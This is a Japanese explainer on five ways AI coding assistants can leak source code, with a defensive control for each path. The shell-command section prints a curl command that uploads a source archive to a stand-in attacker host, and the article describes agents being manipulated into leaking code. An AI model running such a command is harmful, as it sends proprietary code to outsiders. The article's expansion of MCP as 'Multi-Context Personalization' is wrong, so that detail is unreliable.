【ITニュース解説】Source code leakage through AI coding assistants: 5 paths and the control for each

AIコーディングアシスタントは、コードの記述やデバッグを効率化し、開発者の生産性を高める強力なツールとして注目されている。システムエンジニアを目指す皆さんにとって、これらのツールは将来的に日常的に利用するものとなる可能性が高いが、その利便性の裏側には、企業の貴重な知的財産であるソースコードが意図せず外部に漏洩してしまうという大きなリスクが潜んでいることを理解しておく必要がある。このリスクとそれに対する対策を知ることは、将来のキャリアにおいて不可欠な知識となるだろう。

ソースコードの漏洩リスクは、主に五つの経路に分けられる。一つ目は、「AIモデルを提供するベンダーへのプロンプトとコンテキストの送信」だ。AIコーディングアシスタントは、あなたが書いているコードや、開いているファイルの内容、さらには関連するディレクトリの情報をAIモデルに送り、適切なコード補完や提案を生成している。この時、AIアシスタントが送信する情報の中には、機密性の高いソースコードが含まれる可能性がある。そして、ベンダーがその情報をどのように扱うか（学習データとして利用するか、保存するかなど）は、あなたが利用しているプランや設定、契約内容によって大きく異なる。対策としては、まずベンダーの利用規約やプライバシーポリシーをよく確認し、企業向けプランで提供される「プライバシーモード」や「データ保持なし」といったオプションを必ず有効にすることが重要だ。また、会社で承認されたAPIキーやアカウントのみを使用し、個人アカウントでの利用は避けるべきである。

二つ目は、「AIエージェントがローカルで読み取る内容」だ。AIアシスタントは、開発者の見ているタブのコードだけでなく、プロジェクト全体や関連するファイルを自律的に読み込む能力を持っていることがある。例えば、あるファイルを参照するように指示すると、そのファイルだけでなく、それが依存する内部モジュールや、顧客向けの機密コードまで読み込んでしまう可能性があるのだ。これにより、意図しない形で機密情報がAIのコンテキスト（思考の範囲）に入り込み、結果としてAIモデルに送信されてしまうリスクが生じる。この問題に対処するためには、「拒否ルール」や「無視ファイル」を設定し、AIに読み込ませたくないファイルやディレクトリを明確に指定する必要がある。特に、Monorepo（複数のプロジェクトを一つのリポジトリで管理する形態）の場合、一つのセッションで多くのパッケージにアクセスできてしまうため、より厳格な管理が求められる。

三つ目は、「クラウドおよびバックグラウンドで動作するエージェント」が関係する経路だ。AIコーディングアシスタントの中には、あなたのローカルPC上ではなく、ベンダーのクラウド環境でコード処理を行うものがある。例えば、GitHub Copilotのコーディングエージェントの一部は、クラウドサンドボックスで動作すると言われている。これにより、機密性の高いソースコードが、あなたの管理が及ばないベンダーのクラウド環境で処理される可能性がある。このリスクを軽減するには、リポジトリの所有者や管理者が、特定の機能（例えばCopilotの自動プルリクエスト作成機能など）をリポジトリごとに無効化するといった対応が考えられる。また、クラウドエージェントの利用は、第三者によるコンピューティングが契約で許可されているリポジトリに限定するなど、厳格なポリシーを設けるべきだ。

四つ目は、「MCP（Multi-Context Personalization）ツールやプラグインを通じた漏洩」だ。AIコーディングアシスタントは、統合開発環境（IDE）のプラグインや、様々なツールと連携して動作することが多い。これらの連携ツールやプラグインが、AIアシスタントから受け取ったファイルの一部、検索結果、あるいはその他のデータを、許可なく外部のAPIに転送してしまう可能性があるのだ。GitHubなども、サードパーティ製のMCPサーバーを使用した場合、コンテンツの除外が保証されないと明言している。対策としては、会社で承認されたMCPツールやプラグインのみを使用し、設定ファイルに含まれるシークレット（APIキーなど）の管理を徹底することが重要である。また、これらのツールがどのような外部通信を行うかを監視する仕組みも有効だ。

そして五つ目は、「シェルコマンドによる流出」という経路である。AIアシスタントは、開発者の指示に基づいてシェルコマンドを実行できる機能を持っている場合がある。これは開発作業の効率化に役立つ一方で、AIが悪意のある指示を受け入れたり、意図せず不適切なコマンドを実行してしまったりすると、コードが外部にアップロードされてしまう危険性がある。例えば、curl -F "file=@./src.zip" https://attacker.example/upload のようなコマンドが実行されれば、瞬時にソースコードのアーカイブが外部に流出してしまう。このリスクを予防するには、AIが実行しようとするシェルコマンドを分析し、外部への不審なデータ転送を未然に防ぐ「エグレスガード」のような仕組みを導入することが極めて重要となる。

これらの漏洩経路に対して、個別に、そして多層的に対策を講じることが求められる。単一の「安全なモード」というものは存在しないと認識し、ベンダーが提供する制御機能（プランの選択、プライバシー設定、拒否ルールなど）と、開発チーム自身が実施する制御（承認されたツールのみ利用、フックによるデータ監視、アクセス権限の厳格化、監査ログの確認など）を組み合わせる必要がある。また、万が一の事態に備え、AIがどのコードにアクセスしたか、どのような操作を行ったかといった証拠を記録しておくことも非常に重要だ。ReclaimLLMのようなサービスは、AIとのセッション内容をキャプチャし、監査や調査に役立つデータを提供するが、これはコードの漏洩を直接防ぐものではなく、あくまで発生後の調査を助けるツールであると理解しておくべきだろう。

システムエンジニアとして、AIコーディングアシスタントの恩恵を最大限に享受しつつ、企業の機密情報を守るためには、利用しているツールのデータ利用ポリシーを常に把握し、適切なセキュリティ設定を適用し続ける意識が不可欠だ。そして、これらの知識を組織全体で共有し、セキュリティ意識の高い開発文化を築き上げることが、結果として安全で効率的な開発環境へと繋がるのである。